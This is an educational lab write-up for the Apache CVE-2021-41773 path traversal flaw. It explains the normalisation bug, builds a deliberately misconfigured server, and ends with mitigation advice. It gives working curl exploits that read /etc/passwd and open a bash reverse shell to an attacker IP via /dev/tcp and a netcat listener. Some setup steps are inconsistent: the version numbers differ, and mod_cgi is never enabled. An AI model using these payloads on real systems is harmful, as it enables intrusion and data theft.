
The POC and Lab setup documentation of CVE 2021 41773
The POC and Lab setup documentation of CVE 2021 41773
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP server 2.4.49 and 2.4.50. This vulnerability exploits an update in the path normalisation code introduced in this version.
The Path Normalisation Function:
Normally Path normalisation will filter out the url path to a standard
format to prevent adversaries from malicious actions.
Apache HTTP Server 2.4.49 introduced a change to the ap_normalize_path function which became the root cause of this vulnerability.
If we take a look at the source code, we can spot that the function iterates through each character in the given url and apply sanitisation.
But the vulnerability is present in the section of code, where it does url decoding. The function is simple, it will just decode the url encoded character
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decode the percent-encoded character
const char c = x2c(&path[l + 1]);
// Check if the decoded character is alphanumeric or one of the allowed symbols
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Replace the last character with the decoded one and update position
l += 2;
path[l] = c;
}
}
The issue here is that it only handles the first dot . in url, which means if instead of ../ , we give .%2e/, server will decode the %2e and as dot which will translate to ../
Normal case:
URL Input: http://target/cgi-bin/../../etc/passwd
Path Normalization Steps:
1. Detect ../ -> Attempt to traverse up a directory.
2. Normalize function -> will remove or block ../
Vulnerable case:
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Path Normalization Steps:
1. Decodes %2e to . -> The Result is ./.././../etc/passwd
2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../
3. Path Traversal is not fully blocked.
Resulting Path: /etc/passwd (Access Granted)
This issue becomes dangerous and exploitable when it is combined with server directives. This act as a rule for the behaviour of Apache server.
The Require all granted configuration will all requests to access resources inside the DocumentRoot explicitly.
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
If the server is configured with the Require all granted directive at the root level, this makes the whole file system publicly accessible.
The cgi-bin directory in Apache is by default an alias directory with the Require all granted directive, which allows public access, meaning everyone can request to the /usr/local/apache2/cgi-bin/ directory.
By combining the logic flaw in the ap_normalize_path function that allows the path traversal bypass and a misconfigured Require all granted directive on the server, attackers can access files on the server files system outside intended directories.
This vulnerability can be further exploited leading to Remote Code Execution if mod_cgi is enabled on the server.
By default this module is not enabled on Apache HTTPD, this means that the default version is not vulnerable to RCE.
mod_cgi allows the execution of CGI (Common Gateway Interface) scripts on the server and the output returned to the client; it's used mainly to provide dynamic features to websites.
Download vulnerable apache version(Downloading it from archive cause the vulnerable version is not available to install directly):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
install dependencies:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
Decompress the apache vulnerable file and configure it:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
After it finishes successfully go to the configuration file for apache:
sudo nano /usr/local/apache2/conf/httpd.conf
Add the following on the configuration file:
ServerName 127.0.1.1
Start the apache services:
sudo /usr/local/apache2/bin/apachectl start
Navigate to default web server directory:
cd /usr/local/apache2/htdocs
note: normally root directory for apache is /var/www/html here its /usr/local/apache2/htdocs cause we didn't install the server form source, we can make it /var/ww/html if we want. But I am keeping it as it is for now.
Create a basic static website:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
Edit the Apache configuration to simulate the vulnerability:
sudo nano /usr/local/apache2/conf/httpd.conf
Make a change in this part of the configuration file so that the vulnerability can be exploited:
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
Now start the apache server:
sudo /usr/local/apache2/bin/apachectl start
Go to the vulnerable website by typing
http://<vm-ip>
The Lab is set to go, now lets's see how the exploitation works:
This curl request will invoke the vulnerability:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
we can access the /etc/passwd file or any file in the system this way
Let's try command injection and try to get a reverse shell:
On attacker machine setup a netcat listener:
nc -lvnp 4444
Now send the Bash one line via curl request to the victim:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
This will give us a shell access.
As versions 2.4.49 and version 2.4.50, the recommended mitigation is to upgrade to the most recent.
If updating is not an option it's advisable to audit directories to restrict public access:
Require all denied directives must be implemented on all directories not intended for public access and never at the root/directory.
/cgi-bin directory should be configured with the Require all denied directive and should not be set as an alias.